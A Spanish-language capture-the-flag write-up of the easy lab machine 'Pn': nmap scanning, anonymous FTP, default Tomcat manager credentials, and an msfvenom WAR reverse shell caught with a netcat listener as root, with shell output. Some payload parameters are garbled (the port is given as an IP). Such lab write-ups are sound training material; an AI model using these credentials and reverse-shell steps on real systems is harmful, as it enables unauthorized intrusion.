

11. Máquina: Pn (Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando:** `nmap -sVC 172.17.0.2 -Pn`
 - Resultado:** Se encontraron los servicios HTTP y FTP (con anonymous permitido) abiertos.


2. Conexión al protocolo FTP anonymous:

- Nos conectamos al servicio FTP utilizando las credenciales anónimas
 - Comando:** `ftp 172.17.0.2`, user: *anonymous* | contraseña: *anonymous*

3. Navegación loggeados FTP:

- Una vez loggeados como anonymous en FTP, vemos que hay un archivo tomcat.txt
 - Comando:** `get tomcat.txt` para descargarlo en nuestra máquina.
 - Resultado:** Una vez descargado podemos ver su contenido en nuestra máquina con el mensaje escrito: *Hello tomcat, can you configure the tomcat server? I lost the password...*

4. Credenciales Tomcat Server:

- Como vemos en el mensaje, *tomcat* es el nombre de usuario, nos falta la password. Sabemos que tomcat es un nombre de usuario por defecto así que podemos buscar por contraseñas por defecto en tomcat que correspondan en la página web que nos proporciona información sobre vulnerabilidades en Tomcat:  [Pentesting-Web Tomcat](#)

Default Credentials

The `/manager/html` directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:

```
admin:admin
tomcat:tomcat
admin:
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat
```

- Comando:** user: `tomcat` | contraseña: `s3cr3t` encontradas probando combinaciones por defecto.
- Resultado:** Podemos acceder con estas credenciales desde el manager a su dashboard.

5. Generación de Reverse Shell con [Revershell Generator](#)

- Podemos vulnerar la subida de archivos *.war* creando una reverse shell con *Revershell Generator*
 - Comando:** Utilizamos Script: `msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war`. Introducimos en la web la IP de la máquina víctima y el puerto abierto (443).
 - Resultado:** Se crea un archivo *.war* con el script generado, el cual vamos a subir, y también recibimos el comando de escucha a ejecutar en nuestra máquina.

6. Upload de Archivo *.war* Reverse Shell y Escucha:

- Una vez creado el archivo *.war* malicioso, lo subimos, y nos ponemos en escucha en el puerto 443 desde la máquina atacante.

- **Comando:** Abrimos el archivo .war desde el manager de tomcat y nos ponemos en ecucha en la máquina atacante: `nc -nlvp 443`.

• 7. Ejecución Reverse Shell .war:

- Una vez abierto el archivo .war malicioso desde el manager tomcat (/revshell/), habremos ejecutado la reverse shell y se habrá enviado a nuestra máquina atacante como usuario root, máximos privilegios. Fin de la intrusión en vulnerabilidades Tomcat.

```
(kali㉿kali)-[~]  
└─$ sudo nc -nlvp 443  
listening on [any] 443 ...  
connect to [192.168.0.109] from (UNKNOWN) [172.17.0.2] 57314  
whoami  
root  
ls  
bin  
boot  
dev  
etc  
home  
lib  
lib32  
lib64  
libx32  
media  
mnt  
opt  
proc  
root  
run  
sbin  
srv  
sys  
tmp  
usr  
var  
xDalik
```